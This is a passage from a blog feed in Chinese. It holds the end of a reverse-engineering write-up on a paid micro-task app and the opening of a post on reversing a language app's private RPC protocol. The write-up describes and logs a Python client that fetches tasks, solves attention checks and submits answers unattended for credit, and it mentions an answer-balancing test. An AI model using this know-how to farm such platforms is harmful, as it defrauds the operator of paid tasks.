├── taskwall.py   协议客户端（90s 超时 + 重试阶梯 + 401 强制刷新）
├── engine.py     引擎：assign 解析 / 限流响应 / 单题调度
├── scheduler.py  测试任务调度
├── socks.py      SOCKS5/5h/4/4a 客户端，所有出口总闸
├── accounts.py   token 导入/识别/兑换/多账号
├── config.py     环境变量 &amp;gt; agent-config.json &amp;gt; 默认值
└── errors_log.py 结构化错误日志（token 一律掩码，8MB 轮转）

routes/{root,noroot,server}/   三条凭据路线入口，共享同一份 core/
tests/                         mock 后端 + 5 套测试
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.2 为什么只用标准库&lt;/h3&gt;
&lt;p&gt;约束来自部署目标：&lt;strong&gt;OpenWrt 软路由上的 &lt;code&gt;python3-light&lt;/code&gt;&lt;/strong&gt;——没有 pip，装不了 &lt;code&gt;requests&lt;/code&gt;。于是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;HTTP 走 &lt;code&gt;urllib&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SOCKS 代理&lt;strong&gt;自己实现&lt;/strong&gt;（SOCKS4/4a/5/5h，约 400 行，含用户名密码认证、域名交给代理解析）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Web 控制台用 &lt;code&gt;http.server&lt;/code&gt; 单文件实现，页面内嵌；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;好处是 &lt;code&gt;scp&lt;/code&gt; 整个目录到路由器 &lt;code&gt;python3 main.py web&lt;/code&gt; 就能跑；代价是所有边角（TLS 超时分类、连接池复用）都要自己管。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺带一个 OpenWrt 专属坑：&lt;strong&gt;&lt;code&gt;ssl&lt;/code&gt; 在 OpenWrt 是独立包&lt;/strong&gt;，必须 &lt;code&gt;opkg install python3-light python3-ssl&lt;/code&gt;；缺包时报的是 &lt;code&gt;ImportError&lt;/code&gt;，和代码 bug 长得一样，排查时先跑 &lt;code&gt;python3 -c &quot;import ssl&quot;&lt;/code&gt; 再怀疑人生。常驻 RSS 约 10~20 MB，128 MB 路由无压力。&lt;/p&gt;
&lt;h3&gt;9.3 传输层健壮性：一张重试阶梯&lt;/h3&gt;
&lt;p&gt;目标后端跑在某免费 PaaS 上，有个著名脾气：&lt;strong&gt;冷启动首个请求 30~60 秒才响应&lt;/strong&gt;。直接调 45s 超时必挂。于是客户端把&quot;传输错误&quot;和&quot;业务错误&quot;彻底分开：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _call(self, path, body=None, retry_401=True, tries=3):
    url = config.base_url() + config.TASKWALL + path + &quot;/&quot;
    req = urllib.request.Request(
        url, method=&quot;POST&quot; if body is not None else &quot;GET&quot;,
        data=json.dumps(body).encode() if body is not None else None,
        headers={&quot;Content-Type&quot;: &quot;application/json&quot;,
                 &quot;Authorization&quot;: &quot;Bearer &quot; + self.s.token()})
    for attempt in range(1, tries + 1):
        try:
            with socks.open_url(req, timeout=config.HTTP_TIMEOUT) as r:
                status, raw = r.status, r.read()
            if not raw:
                raise TaskWallError(f&quot;{path} empty body (truncated?)&quot;, code=0)
            return status, json.loads(raw)
        except TaskWallError as e:                       # 空 body
            last = e
        except json.JSONDecodeError as e:                # 响应截断
            last = TaskWallError(f&quot;{path} bad json (truncated?): {e} len={len(raw)}&quot;, code=0)
        except urllib.error.HTTPError as e:
            if e.code == 401 and retry_401:              # token 临界失效：强制刷新重放一次
                self.s.force_refresh()
                return self._call(path, body, retry_401=False, tries=tries)
            if 500 &amp;lt;= e.code &amp;lt; 600 and attempt &amp;lt; tries:  # 服务端忙：重试
                last = TaskWallError(f&quot;{path} HTTP {e.code} (server busy)&quot;, code=e.code)
            else:                                        # 业务 4xx：不重试，直接抛
                raise TaskWallError(f&quot;{path} HTTP {e.code}&quot;, code=e.code, payload=...)
        except OSError as e:                             # URLError / 超时 / TLS 统一归类
            last = TaskWallError(f&quot;{path} network: {e}&quot;, code=0)
        if attempt &amp;lt; tries:
            time.sleep(2 * attempt)                      # 指数退避
    raise last                                           # 重试耗尽
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设计决策备注：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;超时 90s&lt;/strong&gt;（不是常见的 30s）：为冷启动让路；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;401 强制刷新重放恰好一次&lt;/strong&gt;：防止 refresh 失败导致的死循环；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;业务 4xx 绝不重试&lt;/strong&gt;：重试一个&quot;今日额度已满&quot;毫无意义，还会放大风控信号；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;submit 的重试只在传输层&lt;/strong&gt;：业务成功/失败只看响应体；服务端按 &lt;code&gt;assignment_id&lt;/code&gt; 幂等，重发安全。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9.4 单实例锁，与一次 KeyError 悬案&lt;/h3&gt;
&lt;p&gt;线上跑着 auto 循环，某晚开始每分钟一条 &lt;code&gt;KeyError: &apos;assignment_id&apos;&lt;/code&gt;，期间 assign 调用照常发出。&lt;strong&gt;完整的破案过程&lt;/strong&gt;（这段是我在整个项目里最喜欢的推理）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;/strong&gt;：HTTP 层面完全正常——网络中断会抛 &lt;code&gt;TaskWallError: network:&lt;/code&gt;，响应截断会抛 &lt;code&gt;JSONDecodeError&lt;/code&gt;，只有 &lt;strong&gt;HTTP 200 且 JSON 完整&lt;/strong&gt; 才会走到 KeyError。也就是说服务端&lt;strong&gt;成功响应了&lt;/strong&gt;，只是 body 里没有 &lt;code&gt;assignment_id&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;排除法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;不是限额：当时 &lt;code&gt;today=125~130/200&lt;/code&gt;，window 未满；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不是响应结构变更：&lt;code&gt;success=true&lt;/code&gt; 但缺 &lt;code&gt;task&lt;/code&gt; 的变体会带 &lt;code&gt;reason&lt;/code&gt; 字段，而报错时没有；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多条 KeyError 间隔仅 2~5 秒，不符合单实例 60s 退避&lt;/strong&gt; → 强烈怀疑&lt;strong&gt;同时开了两个 auto 实例&lt;/strong&gt;：两个客户端并发 assign，撞上服务端的在途任务重发（reissued）逻辑，返回了不带 &lt;code&gt;assignment_id&lt;/code&gt; 的变体结构。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;修复（三件套 + 回归）&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def acquire_lock():
    &quot;&quot;&quot;防止同一个 agent 同时跑多个实例（并发 assign 会触发服务端非标准响应）&quot;&quot;&quot;
    if os.path.exists(config.LOCK_FILE):
        try:
            old = int(open(config.LOCK_FILE).read().strip() or &quot;0&quot;)
        except Exception:
            old = 0
        if old &amp;gt; 0 and old != os.getpid() and _pid_alive(old):
            print(f&quot;[x] another instance is running (pid {old}), stop it first. exiting.&quot;)
            raise SystemExit(1)
    with open(config.LOCK_FILE, &quot;w&quot;) as f:
        f.write(str(os.getpid()))
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;新增 &lt;code&gt;parse_assign()&lt;/code&gt; 统一解析 assign 响应，&lt;strong&gt;三元组分流&lt;/strong&gt;：&lt;code&gt;(&quot;task&quot;, ...)&lt;/code&gt; / &lt;code&gt;(&quot;cap&quot;, ...)&lt;/code&gt; / &lt;code&gt;None&lt;/code&gt;（真异常）。服务端限流语义与客户端异常彻底分开——这是从根上杜绝把 KeyError 当异常抛的架构改动；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单实例锁 &lt;code&gt;.agent.lock&lt;/code&gt;（PID 存活检测，CLI 与 Web 共用一个锁）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;传输层重试阶梯（§9.3）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回归测试 &lt;code&gt;test_robust.py&lt;/code&gt;：7 种畸形 assign 响应 + 重试成功/耗尽/截断三类场景全 PASS，锁实测 exit 1，&lt;code&gt;main.py status&lt;/code&gt; 无回归。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;透明记录&lt;/strong&gt;：诊断过程中为确认服务端响应结构，人工手动调用过一次 assign（消耗 1 个窗口名额）——也写进了报告。调试行为本身是被测系统的输入，记账要诚实。&lt;/p&gt;
&lt;h3&gt;9.5 A/B 分布：把限流当作研究信号&lt;/h3&gt;
&lt;p&gt;§7.4 的 &lt;code&gt;side_capped&lt;/code&gt;、&lt;code&gt;blocked_side&lt;/code&gt; 与 &lt;code&gt;retry_at&lt;/code&gt; 说明服务端会关注答案分布。对协议分析来说，这些字段的意义是确认&lt;strong&gt;服务端存在额外的行为约束&lt;/strong&gt;，而不是提示客户端怎样绕开约束。&lt;/p&gt;
&lt;p&gt;公开版不提供答案配平或规避检测算法。测试工具对这类响应应停止提交并保留证据，后续研究也需要在平台允许的范围内进行。&lt;/p&gt;
&lt;h3&gt;9.6 网络出口治理：全流量走一个总闸&lt;/h3&gt;
&lt;p&gt;代理环境下，出口差异会干扰网络错误的判断。客户端把 HTTP 出口收敛到一个 &lt;code&gt;socks.open_url()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with socks.open_url(req, timeout=config.HTTP_TIMEOUT) as r:
    status, raw = r.status, r.read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SOCKS 客户端（纯标准库）的几个设计决策：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;域名一律交给代理解析&lt;/strong&gt;（等效全局 &lt;code&gt;socks5h&lt;/code&gt;）：不在本地做 DNS，防泄露，也避开路由器本地 DNS 异常时卡死；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;屏蔽环境里的 &lt;code&gt;http_proxy&lt;/code&gt;&lt;/strong&gt;：防止和其它工具的代理串味；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;连代理 IPv4 优先、IPv6 兜底&lt;/strong&gt;：双栈半连通（拿到 AAAA、连上但不通）会假死 30s+；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;素材请求与 API 使用一致的出口&lt;/strong&gt;：避免测试结果受不同网络路径干扰；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;支持 &lt;code&gt;socks5://&lt;/code&gt; / &lt;code&gt;socks5h://&lt;/code&gt; / &lt;code&gt;socks4://&lt;/code&gt; / &lt;code&gt;socks4a://&lt;/code&gt; / 直连，配置优先级：环境变量 &amp;gt; &lt;code&gt;agent-config.json&lt;/code&gt; &amp;gt; &lt;code&gt;proxy.txt&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;网络出口记录用于解释请求失败和代理环境差异；本次结论不依赖多账号或出口切换。&lt;/p&gt;
&lt;h3&gt;9.7 Web 控制台与部署形态&lt;/h3&gt;
&lt;p&gt;Web 控制台单文件内嵌页面，默认只绑 &lt;code&gt;127.0.0.1:8787&lt;/code&gt;，用于凭据状态检查、协议响应查看、代理配置与错误日志检索（token 掩码）。要远程访问必须显式设访问令牌（&lt;code&gt;web_token.txt&lt;/code&gt; 或环境变量），绑 &lt;code&gt;0.0.0.0&lt;/code&gt; 时启动日志打印警告。&lt;/p&gt;
&lt;p&gt;部署形态做过一轮取舍：SOCKS 出口与凭据轮换回写需要稳定的本地状态，因而常驻进程比无状态函数更容易观察和调试。云端定时方案只做可行性研究，未部署。&lt;/p&gt;
&lt;h3&gt;9.8 测试：不打真实后端的完整回归&lt;/h3&gt;
&lt;p&gt;自动化跑在真实服务上，测试不能。于是搭了 mock 后端 + 测试代理服务器：&lt;/p&gt;
&lt;p&gt;|
测试 |
覆盖 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;test_socks.py&lt;/code&gt; |
SOCKS 握手/认证/隧道/出口探测（含真实 HTTPS 链路，连测试代理服务器） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;test_e2e.py&lt;/code&gt; |
mock 后端完整跑 assign → attention → side_capped → submit，直连与走代理双路 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;test_assign.py&lt;/code&gt; |
&lt;code&gt;parse_assign&lt;/code&gt; 三元组分流（含 side_capped 真实响应） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;test_balance.py&lt;/code&gt; |
A/B 配平算法效果 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;test_robust.py&lt;/code&gt; |
畸形响应 / 重试逻辑（§9.4 的回归） |&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10. 安全边界与最终结论 {#section-11}&lt;/h2&gt;
&lt;h3&gt;10.1 能做什么 / 不能做什么&lt;/h3&gt;
&lt;p&gt;|
能力 |
判定 |
依据 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
读取任务墙状态（余额/计数/限额） |
&lt;strong&gt;可以&lt;/strong&gt;（纯 HTTP + Bearer） |
§8.1 实测 200 |&lt;/p&gt;
&lt;p&gt;|
assign → 本地求解 → 等时长 → submit → credited |
&lt;strong&gt;可以&lt;/strong&gt;（无设备绑定、无每请求证明） |
§8.2/§8.3 实测 |&lt;/p&gt;
&lt;p&gt;|
Refresh Token 可在 PC 上续期 |
&lt;strong&gt;可以&lt;/strong&gt; |
§8.1 三条 200 |&lt;/p&gt;
&lt;p&gt;|
匿名读取 Firestore/RTDB 配置（拿 apiKey 之类） |
&lt;strong&gt;不可以&lt;/strong&gt;（401/403，规则正确锁定） |
§6.1 |&lt;/p&gt;
&lt;p&gt;|
脚本伪造完整性 attest |
&lt;strong&gt;不可以&lt;/strong&gt;（Play 完整性栈，真实设备真实实例才能产生） |
§5 |&lt;/p&gt;
&lt;p&gt;|
调用权益兑换接口（attest 门禁后的那一步） |
&lt;strong&gt;不可以&lt;/strong&gt; |
§5 / §10.2 |&lt;/p&gt;
&lt;p&gt;|
直写 Firestore 余额字段 |
&lt;strong&gt;不可以&lt;/strong&gt;（认证态 + 规则限制） |
§6.1 |&lt;/p&gt;
&lt;h3&gt;10.2 唯一的真边界：pairip 完整性门禁&lt;/h3&gt;
&lt;p&gt;任务链路一路绿灯，但权益兑换前有一步 &lt;code&gt;ensureAttested()&lt;/code&gt;：nonce 来自服务端，token 由原生完整性客户端生成，验证在服务端。客户端侧看不到算法、拿不到密钥、伪造不了 Play Integrity verdict。&lt;strong&gt;这条边界的诚实定位&lt;/strong&gt;：它不是&quot;我没攻破&quot;，而是&quot;按设计不可从设备外复现&quot;——研究结论是 negative result，同样是交付物。&lt;/p&gt;
&lt;p&gt;顺便：重打包机上这条通道直接损坏（&lt;code&gt;MissingPluginException&lt;/code&gt;），而任务功能照常——反过来说明任务链路从未依赖原生完整性，与全篇实测互相印证。&lt;/p&gt;
&lt;h3&gt;10.3 风险侧记录（不要只写成功）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;遥测&lt;/strong&gt;：任务平台前端接了行为遥测。时间模式或提交分布异常都可能被检测；研究工具不应把规避检测作为目标。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配额不等于许可&lt;/strong&gt;：&lt;code&gt;60/小时、200/天&lt;/code&gt; 是服务端返回的配额口径，不能推断平台允许脚本持续提交。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;质量分 UNKNOWN&lt;/strong&gt;：随机答案 100% credited 有两种解释只能并存，已立下观测信号（§8.3）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;凭据即账号&lt;/strong&gt;：&lt;code&gt;refresh_token.txt&lt;/code&gt; 等同密码。gitignore、600 权限、DPAPI、日志掩码、多账号隔离，一个都不能少。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.4 那张「一键脚本」截图的最终判定&lt;/h3&gt;
&lt;p&gt;回到起点的问题。有了全部证据，可以下结论了：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;这张截图与“普通 HTTP 客户端调用任务接口”的架构相符：任务状态和提交走网页接口，而权益兑换另有设备完整性门禁。截图本身无法证明提交质量、长期可靠性或平台授权。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;静态阶段的&quot;强设备绑定&quot;判断被彻底推翻——&lt;strong&gt;推倒自己的错误结论，和建立正确结论是同一件工作的两半。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;11. 方法论沉淀：可迁移的东西 {#section-12}&lt;/h2&gt;
&lt;p&gt;技术会过时，流程不会。这次复盘里真正可复用的是这几条：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;三层证据法则&lt;/strong&gt;：静态（代码/字符串）→ 动态（进程/网络/日志）→ 实测（PC 直连真实接口）。每层结论标注证据编号，可复跑。跨不过第三层的结论只能算假设。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;区分服务端语义与客户端实现&lt;/strong&gt;：grep 不到 30s 常量 ≠ 服务端不校验；客户端采集 &lt;code&gt;watched&lt;/code&gt; ≠ 服务端强校验。永远用实测划定边界。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;反证优先&lt;/strong&gt;：证明&quot;这条路没走过&quot;（三个独立来源的 negative evidence）比证明&quot;走过&quot;更能砍掉整条错误路线。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;错误码考古学&lt;/strong&gt;：&lt;code&gt;redirect_uri_mismatch&lt;/code&gt; 的候选枚举、&lt;code&gt;unauthorized-domain&lt;/code&gt; 的 origin 对照、&lt;code&gt;popup-closed-by-user&lt;/code&gt; 作为正向信号——灰盒测试的信息量全在错误码的反行为里。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;把限流当 API 用&lt;/strong&gt;：服务端返回 &lt;code&gt;{success:true, reason:...}&lt;/code&gt; 是它在&quot;说话&quot;，客户端该做的是理解语义（按 &lt;code&gt;retry_at&lt;/code&gt; 睡），而不是当异常报警。&lt;code&gt;parse_assign&lt;/code&gt; 的三元组分流就是这条原则的代码形态。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;先只读、再单点、后循环&lt;/strong&gt;：风险递增的验证节奏，配合&quot;人工调用也记账&quot;的透明纪律。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工程化清单&lt;/strong&gt;：单实例锁、传输/业务错误分层、401 恰好刷新一次、速率双档、token 轮换持久化、凭据原子落盘 + DPAPI + ACL、日志掩码、mock 后端回归。这些东西和逆向无关，是任何长期运行脚本的及格线。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如实记录 UNKNOWN&lt;/strong&gt;：随机答案也 credited——解释不了就立个观测信号挂着，比写满&quot;全面攻破&quot;体面得多，也安全得多。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这次实践最值得保留的，是三段可复核的推理：三级证据链怎样推翻最初的设备绑定判断；一次 &lt;code&gt;KeyError&lt;/code&gt; 怎样从现象分类走到并发假设与回归测试；以及标准库工具怎样在受限环境中保持清晰的错误边界。对随机答案获得记账的观察，也应连同未知项与研究边界一起记录。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;附录 A：错误码 / 异常速查表（脱敏） {#section-13}&lt;/h2&gt;
&lt;p&gt;|
编号 |
现象 |
根因 |
处置 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
E1 |
Google OAuth &lt;code&gt;redirect_uri_mismatch&lt;/code&gt; |
自建回调 URI 均未在该 OAuth client 登记；仅官方 handler 放行 |
走 Firebase 官方 handler，不自建回调 |&lt;/p&gt;
&lt;p&gt;|
E2 |
&lt;code&gt;auth/unauthorized-domain&lt;/code&gt; |
页面 origin 不在 &lt;code&gt;authorizedDomains&lt;/code&gt;；&lt;code&gt;localhost&lt;/code&gt; 在、&lt;code&gt;127.0.0.1&lt;/code&gt; &lt;strong&gt;不在&lt;/strong&gt; |
一律用 &lt;code&gt;http://localhost:PORT&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
E3 |
&lt;code&gt;auth/popup-closed-by-user&lt;/code&gt;（测试环境） |
origin 已放行、handler URL 已构造，只差人工点击 |
&lt;strong&gt;正向信号&lt;/strong&gt;：说明链路已通 |&lt;/p&gt;
&lt;p&gt;|
E4 |
&lt;code&gt;INVALID_IDP_RESPONSE&lt;/code&gt; |
假 Google id_token 解析失败 |
证明 Google provider 已启用 |&lt;/p&gt;
&lt;p&gt;|
E5 |
handler &lt;code&gt;missing initial state&lt;/code&gt; |
state 在同 origin sessionStorage，假 code 驱动不了 |
该环不可脱离真实浏览器，不影响正式流 |&lt;/p&gt;
&lt;p&gt;|
E6 |
&lt;code&gt;ADMIN_ONLY_OPERATION&lt;/code&gt; |
邮箱密码注册被关 |
Google 登录是唯一交互路径 |&lt;/p&gt;
&lt;p&gt;|
E7 |
任务接口 401 |
ID Token 过期/被踢 |
强制刷新后重放恰好一次 |&lt;/p&gt;
&lt;p&gt;|
E8 |
浏览器 &quot;localhost 拒绝连接&quot; |
后台服务被分析工具会话杀掉 |
独立进程启动 + 轮询监控 + 双击入口 |&lt;/p&gt;
&lt;p&gt;|
E9 |
&lt;code&gt;signInWithRedirect&lt;/code&gt; 回跳后结果 null |
TUN/fakeip 代理改写整页跳转链，pending state 丢失 |
改 &lt;code&gt;signInWithPopup&lt;/code&gt;（postMessage 回传） |&lt;/p&gt;
&lt;p&gt;|
E10 |
循环报 &lt;code&gt;KeyError: &apos;assignment_id&apos;&lt;/code&gt; |
并发实例撞服务端在途任务重发逻辑 |
&lt;code&gt;parse_assign&lt;/code&gt; 分流 + 单实例锁 + 重试阶梯 + 回归测试 |&lt;/p&gt;
&lt;p&gt;|
E11 |
&lt;code&gt;adb shell&lt;/code&gt; 引号嵌套错误 |
双层 shell 解析吞引号 |
脚本推设备或单引号包裹整条命令 |&lt;/p&gt;
&lt;h2&gt;附录 B：成功证据摘录（脱敏） {#section-14}&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;B1. 免 root 首次认证端到端（PC，真实 Google 账号人工授权一次）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;浏览器 localhost 页面 -&amp;gt; Google 授权(人工 1 次) -&amp;gt; Google idToken
  -&amp;gt; signInWithIdp                          : HTTP 200, 返回长期 refreshToken(email 掩码)
  -&amp;gt; securetoken grant_type=refresh_token   : HTTP 200, expires_in=3600
  -&amp;gt; GET /api/tasks/wall/status/            : HTTP 200, {&quot;enabled&quot;:true,...}
关浏览器/全新进程再跑                      : PASS（无 401）
凭据文件复制到临时目录再跑                  : PASS（无绝对路径依赖）
ID Token 过期 2h+ 后再刷新 + status         : PASS（21:10 复跑）
导出给 agent + main.py status               : PASS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;B2. 任务闭环（PC，无手机参与）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assign : &amp;lt;task-id&amp;gt;  (video_choice, min_seconds=32, value_usd=$0.012)
attention: 10 - 9 = 1 (本地求解)
submit : {&quot;assignment_id&quot;:&quot;&amp;lt;assignment-id&amp;gt;&quot;,&quot;answer&quot;:&quot;b&quot;,&quot;attn_answer&quot;:1}
response: {&quot;success&quot;:true,&quot;outcome&quot;:&quot;credited&quot;,&quot;credited&quot;:true,
           &quot;value_usd&quot;:0.012,&quot;balance_usd&quot;:0.1706}
balance: $0.1586 -&amp;gt; $0.1706   tasks_completed: 13 -&amp;gt; 14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;B3. 无人值守 30 分钟&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;提交 17 题, 17/17 credited
余额 $0.1706 -&amp;gt; $0.4106 (+$0.24, 严格线性)
节奏 ~40s/题, window 34/60, 无 too_fast / 无 401 / 无网络错误
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;B4. 速率与限额的服务端口径&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.max = 60 / 小时, today.max = 200 / 天
value_usd = 0.012 / 题（固定）
min_seconds = 30~40（服务端下发）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;结语 {#section-15}&lt;/h2&gt;
&lt;p&gt;三天的活儿，从拆一个 44 MB 的 APK 开始，到纯 PC 环境里脚本化完成全流程收尾。中间真正花时间的不是&quot;找到接口&quot;——协议本身朴素得可怜——而是三件更贵的事：&lt;strong&gt;证明自己没有在错误的协议上使劲&lt;/strong&gt;（反证）、&lt;strong&gt;把服务端语义和客户端实现分开&lt;/strong&gt;（分层）、以及&lt;strong&gt;把一个能跑的 PoC 养成一个敢放在路由器上跑一个月的系统&lt;/strong&gt;（工程）。&lt;/p&gt;
&lt;p&gt;最后照例声明：本文所有内容均为个人学习与研究用途的技术复盘，对象为本人拥有账号的测试环境；所有敏感信息已脱敏。如果你也想拆点什么，请同样守住三条线：只动自己的资产、先只读后写入、把&quot;做不到&quot;如实写进报告——最后这条，恰恰是区分业余和职业的分水岭。&lt;/p&gt;
</content:encoded></item><item><title>手写 TCompactProtocol：一次移动端私有 RPC 协议的完整逆向实践</title><link>https://blog.ouneed.tech/posts/tcompactprotocol-mobile-rpc-reverse-engineering/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/tcompactprotocol-mobile-rpc-reverse-engineering/</guid><description>从抓包到手写编解码器，完整逆向一个移动端私有 RPC 协议（TCompactProtocol 变体）的实践记录。</description><pubDate>Wed, 23 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;目录&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#section-1&quot;&gt;1. 背景与目标&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-2&quot;&gt;2. 环境与工具链&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-3&quot;&gt;3. 第一阶段：静态侦察&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-4&quot;&gt;4. 第二阶段：关键突破——thrift 协议&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-5&quot;&gt;5. 第三阶段：手写 TCompactProtocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-6&quot;&gt;6. 第四阶段：空凭证验证法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-7&quot;&gt;7. 第五阶段：凭证获取&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-8&quot;&gt;8. 第六阶段：只读能力扩展&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-9&quot;&gt;9. 第七阶段：写操作与同步语义&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-10&quot;&gt;10. 第八阶段：工程化&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-11&quot;&gt;11. 防守视角：这套体系该怎么加固&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-12&quot;&gt;12. 总结&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;关键词：Android 逆向 / Thrift Compact Protocol / 协议还原 / 自动化客户端 / 安全研究&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本文记录一次完整的、以学习为目的的 App 私有接口分析过程：从拿到 APK 开始，到最后用自己的 Python 客户端稳定调用目标服务并完成数据同步。目标对象是一款头部的语言学习类 App（下称 &lt;strong&gt;V-App&lt;/strong&gt;），所有敏感信息（域名、包名、产品名、账号数据）均已做脱敏处理，文中出现的域名均为虚构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
